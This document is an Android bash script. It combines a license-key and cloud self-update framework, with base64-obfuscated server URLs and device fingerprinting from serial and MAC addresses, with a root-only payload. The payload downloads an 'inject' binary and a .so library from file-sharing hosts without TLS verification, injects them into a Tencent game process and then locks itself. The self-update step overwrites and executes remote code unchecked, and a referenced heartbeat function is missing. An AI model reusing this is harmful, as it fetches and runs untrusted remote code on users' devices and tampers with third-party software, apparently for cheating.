#!/bin/bash
#验证版本1.0.2更新时间2025/9/5更新心跳验证11月23发布使用
#官方网站b6w.cn
#云更新m.b6w.cn
#shell卡密验证云更新系统对接
#请使用MT管理器终端扩展包环境执行无需root只需MT管理器终端扩展包执行
#云更新策略是只要后台没有勾选强制更新就会让用户选择是否更新
#勾选了就会系统强制自动更新.不给用户选择是否选择更新版本号不一致会强制更新
#覆盖原有的内容为新版本下载链接里面的内容
#后台更新的链接可以填写sh后缀的还有zip后缀的
#远程文件是sh则是直接替换当前文件的内容为新版本
#远程文件是zip压缩包则是下载需手动移动出来执行
#因为有些人说他们是执行so要更新so所以用户的意见添加了新版本
#这样只需把sh和so放在压缩包里面做下载下来会手动移动出来执行新版本
# ===================== 开发者配置选项 =====================
#APP ID 也就是apikey
API_KEY="85cc7bf3424e2206193a2fb2dc001d14"
#版本号判断更新使用
CURRENT_VERSION="1.0.0"
#新版本更新后是否自动重启脚本执行
#  - 填1：更新替换文件内容后，自动重启脚本执行
#  - 填0：更新替换文件内容后，退出脚本，需用户手动重新执行
AUTO_EXEC_AFTER_UPDATE="1"
#心跳验证时间5分钟，也就是300秒（当前配置为300秒，可按需修改）
#不可低于30秒-否则系统检测到异常会封禁
HEARTBEAT_INTERVAL=300
#服务器无响应-无网络尝试次数(不用管)
HEARTBEAT_RETRY=3

# ======================开发者配置完成-下方代码无需修改======================

API_URL_UPDATE=$(echo "aHR0cHM6Ly9tLmI2dy5jbi9hcGkvYjZ3YXBpeWd4LnBocA==" | base64 -d)
API_URL_VERIFY=$(echo "aHR0cHM6Ly9tLmI2dy5jbi9hcGkvYjZ3YXBpa2V5LnBocA==" | base64 -d)
REPORT_URL=$(echo "aHR0cHM6Ly9tLmI2dy5jbi9hcGkvc2IucGhw" | base64 -d)
SIGN_KEY="必6网.免费的云更新验证系统官方网站部分浏览器显示有风险可以换个浏览器-浏览器搜索b6w.cn"
DEVICE_FILE="/data/local/tmp/.device_code.txt"
BACKUP_DEVICE_FILE="./.device_code.txt"
CARD_KEY_MAIN_FILE="/data/local/tmp/.saved_card_key.txt"
CARD_KEY_BACKUP_FILE="./.saved_card_key.txt"
RETRY_INTERVAL=3
get_device_code() {
    local hardware_id=""
    if [ -z "$hardware_id" ] && [ -f "/sys/class/android_usb/android0/iSerial" ]; then
        hardware_id=$(cat /sys/class/android_usb/android0/iSerial 2>/dev/null | tr -d ' \n\r')
    fi
    if [ -z "$hardware_id" ] && [ -f "/proc/cpuinfo" ]; then
        hardware_id=$(grep -i 'serial' /proc/cpuinfo 2>/dev/null | head -n1 | awk -F: '{print $2}' | tr -d ' \n\r')
    fi
    if [ -z "$hardware_id" ] && command -v getprop &>/dev/null; then
        hardware_id=$(getprop ro.serialno 2>/dev/null | tr -d ' \n\r')
        if [ -z "$hardware_id" ]; then
            hardware_id=$(getprop ro.boot.serialno 2>/dev/null | tr -d ' \n\r')
        fi
    fi
    if [ -z "$hardware_id" ] && [ -f "/sys/class/bluetooth/hci0/address" ]; then
        hardware_id=$(cat /sys/class/bluetooth/hci0/address 2>/dev/null | tr -d ':\n\r')
    fi
    if [ -z "$hardware_id" ] && [ -f "/sys/class/net/wlan0/address" ]; then
        hardware_id=$(cat /sys/class/net/wlan0/address 2>/dev/null | tr -d ':\n\r')
    fi
    if [ -z "$hardware_id" ]; then
        if [ -f "$BACKUP_DEVICE_FILE" ]; then
            hardware_id=$(cat "$BACKUP_DEVICE_FILE" 2>/dev/null | tr -d ' \n\r')
        elif [ -f "$DEVICE_FILE" ]; then
            hardware_id=$(cat "$DEVICE_FILE" 2>/dev/null | tr -d ' \n\r')
        else
            hardware_id=$(date +%s | md5sum | head -c 16)
        fi
    fi
    local fixed_code="$hardware_id"
    if [ ${#fixed_code} -gt 32 ]; then
        fixed_code="${fixed_code:0:32}"
    elif [ ${#fixed_code} -lt 32 ]; then
        fixed_code=$(printf "%-32s" "$fixed_code" | tr ' ' '0')
    fi
    if ! echo "$fixed_code" > "$BACKUP_DEVICE_FILE" 2>/dev/null; then
        if echo "$fixed_code" > "$DEVICE_FILE" 2>/dev/null; then
            DEVICE_FILE="$DEVICE_FILE"
        else
            echo "[警告] 设备码文件写入失败，临时生效" >&2
        fi
    else
        DEVICE_FILE="$BACKUP_DEVICE_FILE"
    fi
    chmod 600 "$DEVICE_FILE" 2>/dev/null

    echo "$fixed_code"
}
DEVICE_CODE=$(get_device_code)
[ -z "$DEVICE_CODE" ] && { echo "设备码生成失败" >&2; exit 1; }

request_with_retry() {
    local url="$1"
    local data="$2"
    local retry_count=1

    while true; do
        local response=$(curl -s --connect-timeout 10 -X POST "$url" \
            -H "Content-Type: application/json" \
            -d "$data")

        if [ $? -eq 0 ] && [ -n "$response" ]; then
            echo "$response"
            return 0
        else
            echo "[重试] 接口请求失败（第$retry_count次），$RETRY_INTERVAL秒后重试..."
            sleep $RETRY_INTERVAL
            retry_count=$((retry_count + 1))
        fi
    done
}

extract_field() {
    local key="$1"
    local json="$2"
    echo "$json" | grep -o "\"$key\":\"[^\"]*\"" | sed "s/\"$key\":\"//;s/\"//;s/^[[:space:]]*//;s/[[:space:]]*$//"
}

extract_boolean() {
    local key="$1"
    local json="$2"
    echo "$json" | sed -n "s/.*\"$key\"\s*:\s*\(\(true\)\|\(false\)\).*/\1/p"
}

check_update() {
    echo "===== 开始云更新检查 ====="

    local verify_data='{"action":"verify_api_key", "api_key":"'$API_KEY'"}'
    local verify_response=$(request_with_retry "$API_URL_UPDATE" "$verify_data")
    local app_id=$(extract_field "app_id" "$verify_response")

    if [ -z "$app_id" ]; then
        local error_msg=$(extract_field "error" "$verify_response")
        echo "[错误] 更新验证失败：$error_msg"
        return 1
    fi
    echo "[成功] 应用ID：$app_id"

    local config_data='{"action":"get_config", "app_id":"'$app_id'"}'
    local config_response=$(request_with_retry "$API_URL_UPDATE" "$config_data")

    local announcement=$(extract_field "announcement" "$config_response")
    local latest_version=$(extract_field "latest_version" "$config_response")
    local update_url=$(extract_field "update_url" "$config_response")
    local force_update=$(extract_boolean "force_update" "$config_response")

    local force_update_cn="否"
    [ "$force_update" = "true" ] && force_update_cn="是"

    echo -e "\n[配置信息]:"
    echo -n "  公告内容："
    if [ -n "$announcement" ]; then
        echo -e "$announcement"
    else
        echo "无公告"
    fi
    echo "  当前版本：$CURRENT_VERSION（本地）"
    echo "  最新版本：$latest_version（云端）"


    update_url=$(echo "$update_url" | sed 's/\\\//\//g')

    if [ "$latest_version" != "$CURRENT_VERSION" ] && [ -n "$update_url" ] && [ "$latest_version" != "" ]; then
        echo -e "\n[发现新版本] $latest_version"
        
        if ! command -v curl &> /dev/null; then
            echo "[错误] 缺少curl工具，请安装后重试"
            exit 1
        fi

        if [ "$force_update" = "true" ]; then
            echo "[强制更新] 必须更新才能继续使用！"
            update_action=1
        else
            echo "[非强制更新] 发现新版本，是否更新？（1=更新，0=不更新，默认0）"
            read -p "请输入选择（1/0）：" user_choice
            if [ -z "$user_choice" ]; then
                user_choice=0
            fi
            if [ "$user_choice" -eq 1 ]; then
                echo "用户选择：执行更新"
                update_action=1
            else
                echo "用户选择：不更新，继续执行后续流程"
                update_action=0
                rm -f "$new_file_path" 2>/dev/null
                return 0
            fi
        fi

        if [ $update_action -eq 1 ]; then
            local script_path=$(cd "$(dirname "$0")" || exit; pwd)
            local script_name=$(basename "$0")
            local new_file_path="${script_path}/temp_update_file"

            while true; do
                if curl -fL "$update_url" -o "$new_file_path" &> /dev/null; then
                    break
                else
                    echo "[重试] 更新文件下载失败，$RETRY_INTERVAL秒后重试..."
                    sleep $RETRY_INTERVAL
                fi
            done

            local file_ext=$(echo "$update_url" | awk -F. '{print $NF}' | tr 'A-Z' 'a-z' | sed 's/^[[:space:]]*//;s/[[:space:]]*$//')
            echo "[更新文件信息] 后缀：$file_ext"

            if [ "$file_ext" = "zip" ]; then
                echo "[更新处理] 识别ZIP文件，生成唯一文件名（保留所有旧文件）"
                local random_str=$(date +%s%N | md5sum | head -c 8)
                local zip_file_name="${script_name%.sh}-${latest_version}-${random_str}.zip"
                local zip_file_path="${script_path}/${zip_file_name}"
            
                if [ -f "$zip_file_path" ]; then
                    echo "[提示] 极端情况：文件名已存在，重新生成随机字符..."
                    random_str=$(date +%s%N | md5sum | head -c 8)
                    zip_file_name="${script_name%.sh}-${latest_version}-${random_str}.zip"
                    zip_file_path="${script_path}/${zip_file_name}"
                fi

                if cat "$new_file_path" > "$0"; then
                    mv -f "$0" "$zip_file_path"
                    echo "[成功] ZIP更新完成：$zip_file_path"
                    echo "[提示] 所有旧版本ZIP文件已完整保留，新文件通过版本号+随机字符区分"
                    echo "[提示] ZIP文件无法自动执行，已退出"
                    rm -f "$new_file_path"
                    exit 0
                else
                    echo "[错误] ZIP文件内容替换失败"
                    rm -f "$new_file_path"
                    exit 1
                fi
            else
                echo "[更新处理] 识别非ZIP文件，覆盖更新并准备自动执行"
                local backup_script_path="${script_path}/${script_name}.bak"
                cp -f "$0" "$backup_script_path" 2>/dev/null
                if cat "$new_file_path" > "$0"; then
                    chmod +x "$0"
                    echo "[成功] 脚本更新至 $latest_version（旧脚本已备份为 ${script_name}.bak）"
                    rm -f "$new_file_path"
                    if [ "$AUTO_EXEC_AFTER_UPDATE" = "1" ]; then
                        echo "按配置：立即自动执行更新后的脚本..."
                        exec bash "$0"
                        echo "[警告] 自动执行触发失败，请手动运行 $0"
                        exit 1
                    else
                        echo "按配置：不自动执行，请手动重启 $0"
                        exit 0
                    fi
                else
                    echo "[错误] 非ZIP文件更新失败，恢复旧脚本..."
                    cp -f "$backup_script_path" "$0" 2>/dev/null
                    rm -f "$new_file_path" "$backup_script_path"
                    exit 1
                fi
            fi

        fi

    else
        if [ "$latest_version" = "$CURRENT_VERSION" ]; then
            echo -e "\n[状态] 本地版本（$CURRENT_VERSION）与云端版本（$latest_version）一致，无需更新"
        elif [ -z "$update_url" ]; then
            echo -e "\n[状态] 虽有新版本（$latest_version），但云端未配置更新链接，无法更新"
        else
            echo -e "\n[状态] 当前已是最新版本"
        fi
    fi

    echo -e "\n===== 更新检查完成 ====="
}

decode_unicode() {
    local str="$1"
    awk -v str="$str" 'BEGIN {
        while (match(str, /\\u([0-9a-fA-F]{4})/, arr)) {
            c = sprintf("%c", strtonum("0x" arr[1]))
            gsub(/\\u[0-9a-fA-F]{4}/, c, str)
        }
        print str
    }'
}

generate_sign() {
    local data="$1"
    local salt="$2"
    local timestamp="$3"
    echo -n "${data}${salt}${timestamp}${SIGN_KEY}" | md5sum | awk '{print $1}'
}

report_tampering() {
    local request_params="$1"
    local tampered_response="$2"
    local timestamp="$3"
    local client_ip=$(curl -s --connect-timeout 5 http://icanhazip.com 2>/dev/null || \
                      curl -s --connect-timeout 5 http://ip.cn/ip 2>/dev/null | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' || \
                      echo "未知IP")
    client_ip=$(echo "$client_ip" | tr -d '\n\r')

    req_escaped=$(echo "$request_params" | sed 's/\\/\\\\/g')
    resp_escaped=$(echo "$tampered_response" | sed 's/\\/\\\\/g')
    req_escaped=$(echo "$req_escaped" | sed 's/"/\\"/g')
    resp_escaped=$(echo "$resp_escaped" | sed 's/"/\\"/g')
    req_escaped=$(echo "$req_escaped" | sed ':a;N;$!ba;s/\n/\\n/g')
    resp_escaped=$(echo "$resp_escaped" | sed ':a;N;$!ba;s/\n/\\n/g')
    req_escaped=$(echo "$req_escaped" | sed 's/\r/\\r/g; s/\t/\\t/g')
    resp_escaped=$(echo "$resp_escaped" | sed 's/\r/\\r/g; s/\t/\\t/g')

    report_data="{\"ip\":\"$client_ip\",\"timestamp\":\"$timestamp\",\"request_params\":\"$req_escaped\",\"tampered_response\":\"$resp_escaped\"}"
    report_result=$(curl -s --connect-timeout 10 -X POST "$REPORT_URL" \
        -H "Content-Type: application/json" -d "$report_data")
    result_msg=$(echo "$report_result" | sed -n 's/.*"message":"\([^"]*\)".*/\1/p' | decode_unicode)
    echo "数据已记录上传结果：${result_msg:-篡改数据已上传}"
}


start_heartbeat_in_background() {
    heartbeat_verify &
    # 记录心跳进程ID，确保脚本退出时心跳也退出
    HEARTBEAT_PID=$!
    trap 'kill $HEARTBEAT_PID 2>/dev/null' EXIT
}

check_update



# 启动后台心跳验证
start_heartbeat_in_background

# ===================== 你的源代码填写区域 =====================
#卡密验证之后则会执行你的源代码
#!/bin/bash
#!/bin/bash

# ===================== 全局配置参数 =====================
# 下载配置
INJECT_NAME="inject"
LIBQY_NAME="libqy.so"
INJECT_DOWNLOAD_URL="http://wpan.cdndns.site/down/9e5fdb77e5d84afb1c87c7e0356b9fc8"
LIBQY_DOWNLOAD_URL="https://cccimg.com/down.php/5a20e9977bba0a87c184dc24dddbf118.so"
# 下载后的保存路径
INJECT_PATH="/data/adb/${INJECT_NAME}"
LIBQY_PATH="/data/adb/${LIBQY_NAME}"

SELF_SCRIPT_PATH="$0"
DOWNLOAD_RETRY=2
RETRY_INTERVAL=1

# 游戏注入配置
GAME_PKG="com.tencent.igce"
GAME_ACT="com.epicgames.ue4.SplashActivity"
GAME_DATA_DIR="/data/data/${GAME_PKG}"
# 注入到游戏的路径
GAME_LIB_PATH="${GAME_DATA_DIR}/libTracing.so"
GAME_INJECT_PATH="${GAME_DATA_DIR}/inject"
# ===================================================

# -------------------- 通用工具函数 --------------------
print_color() {
    local c="$1"
    shift
    printf "\033[${c}m%s\033[0m\n" "$*"
}

check_root_privileges() {
    [[ "$(id -u)" -ne 0 ]] && { print_color 31 "错误：请以Root权限执行！"; exit 1; }
}

check_download_tool() {
    if ! command -v curl &> /dev/null; then
        print_color 31 "[!] 未找到curl工具，无法下载脚本"
        return 1
    fi
    return 0
}

download_common() {
    local save_path=$1
    local down_url=$2
    local file_name=$3
    local retry_count=0
    local download_success=0

    if ! check_download_tool; then
        return 1
    fi

    # 先检查文件是否存在
    if [ -f "${save_path}" ]; then
        print_color 32 "[+] ${file_name} 已存在，跳过下载"
        return 0
    else
        print_color 33 "[-] 未检测到${file_name}，准备开始下载..."
    fi

    while [ ${retry_count} -le ${DOWNLOAD_RETRY} ]; do
        curl -kLo "${save_path}" --progress-bar "${down_url}"
        if [ $? -eq 0 ]; then
            download_success=1
            break
        fi
        retry_count=$((retry_count + 1))
        if [ ${retry_count} -le ${DOWNLOAD_RETRY} ]; then
            print_color 33 "[-] ${file_name} 下载失败，${RETRY_INTERVAL}秒后重试..."
            sleep ${RETRY_INTERVAL}
        fi
    done

    if [ ${download_success} -eq 0 ]; then
        print_color 31 "[!] ${file_name} 下载失败，可能原因：1.网络异常 2.URL无效 3.文件已删除"
        if [ -f "${save_path}" ]; then
            rm -rf "${save_path}"
            print_color 32 "[*] 已清理${file_name}无效残留文件"
        fi
        return 1
    fi
    return 0
}

# 新增：交互式询问是否执行注入
ask_execute_injection() {
    print_color 36 "======================================"
    print_color 36 "是否确认执行游戏SO注入操作？(y/n)"
    read -r exec_confirm
    # 判断输入，仅当输入y/Y时执行，其他均取消
    if [[ "${exec_confirm}" != "y" && "${exec_confirm}" != "Y" ]]; then
        print_color 31 "[!] 用户取消执行注入操作，程序退出"
        exit 0
    fi
    print_color 32 "[+] 用户确认执行，开始后续流程..."
    print_color 36 "======================================"
}

# -------------------- 游戏注入相关函数 --------------------
manage_game_process() {
    game_pid=$(pgrep -f "^${GAME_PKG}$")
    [[ -z "$game_pid" ]] && {
        print_color 32 "游戏未运行，启动中..."
        am start -n "${GAME_PKG}/${GAME_ACT}" >/dev/null 2>&1
        sleep 1.5
        game_pid=$(pgrep -f "^${GAME_PKG}$")
        [[ -z "$game_pid" ]] && { print_color 31 "错误：游戏启动失败，请检查安装状态。"; exit 1; } || print_color 32 "游戏已启动，PID: ${game_pid}"
    } || print_color 32 "游戏已在运行，PID: ${game_pid}"
}

manage_files() {
    rm -rf "$GAME_LIB_PATH" "$GAME_INJECT_PATH"
    print_color 34 "[*] 开始部署注入文件..."
    # 从下载的路径复制，而不是当前目录
    cp -f "${LIBQY_PATH}" "$GAME_LIB_PATH"
    chmod 777 "$GAME_LIB_PATH"
    cp -f "${INJECT_PATH}" "$GAME_INJECT_PATH"
    chmod 777 "$GAME_INJECT_PATH"
    [[ -f "$GAME_LIB_PATH" && "$(stat -c '%a' "$GAME_LIB_PATH")" == "777" && -f "$GAME_INJECT_PATH" && "$(stat -c '%a' "$GAME_INJECT_PATH")" == "777" ]] && 
        print_color 32 "[+] 注入文件部署成功！" || { print_color 31 "错误：注入文件部署失败！"; exit 1; }
}

perform_injection() {
    print_color 33 "**************************************"
    print_color 32 "[+] 开始执行SO注入流程..."
    print_color 33 "**************************************"
    sleep 0.5
    print_color 34 "[*] 注入日志输出："
    "${GAME_INJECT_PATH}" -n "${GAME_PKG}" -so "${GAME_LIB_PATH}" | while read -r line; do echo "$line"; done
    print_color 32 "[+] SO注入执行完成"
}

cleanup_game_files() {
    rm -rf "${GAME_LIB_PATH}" "${GAME_INJECT_PATH}"
    print_color 32 "[+] 注入文件清理完毕"
}

# ===================== 主程序入口 =====================
main() {
    check_root_privileges

    # 新增：先询问是否执行注入
    ask_execute_injection

    # 下载文件
    if ! download_common "${INJECT_PATH}" "${INJECT_DOWNLOAD_URL}" "${INJECT_NAME}"; then
        print_color 31 "[!] ${INJECT_NAME} 下载失败，程序退出"
        exit 1
    fi
    if ! download_common "${LIBQY_PATH}" "${LIBQY_DOWNLOAD_URL}" "${LIBQY_NAME}"; then
        print_color 31 "[!] ${LIBQY_NAME} 下载失败，程序退出"
        exit 1
    fi

    # 执行注入
    manage_game_process
    manage_files
    perform_injection
    cleanup_game_files

    # 锁定自身脚本，防止重复执行
    chmod 000 "${SELF_SCRIPT_PATH}" >/dev/null 2>&1
    print_color 32 "======================================"
    print_color 32 "===== 所有操作执行完毕，程序完美退出 ====="
    print_color 32 "======================================"
}

main

exit 0
#注：源代码执行期间，心跳会在后台每隔$HEARTBEAT_INTERVAL秒自动验证


# ===================== 上方填写你的源代码 =====================

# 等待用户源代码执行完成（若用户代码是持续运行的，此句可省略）
wait
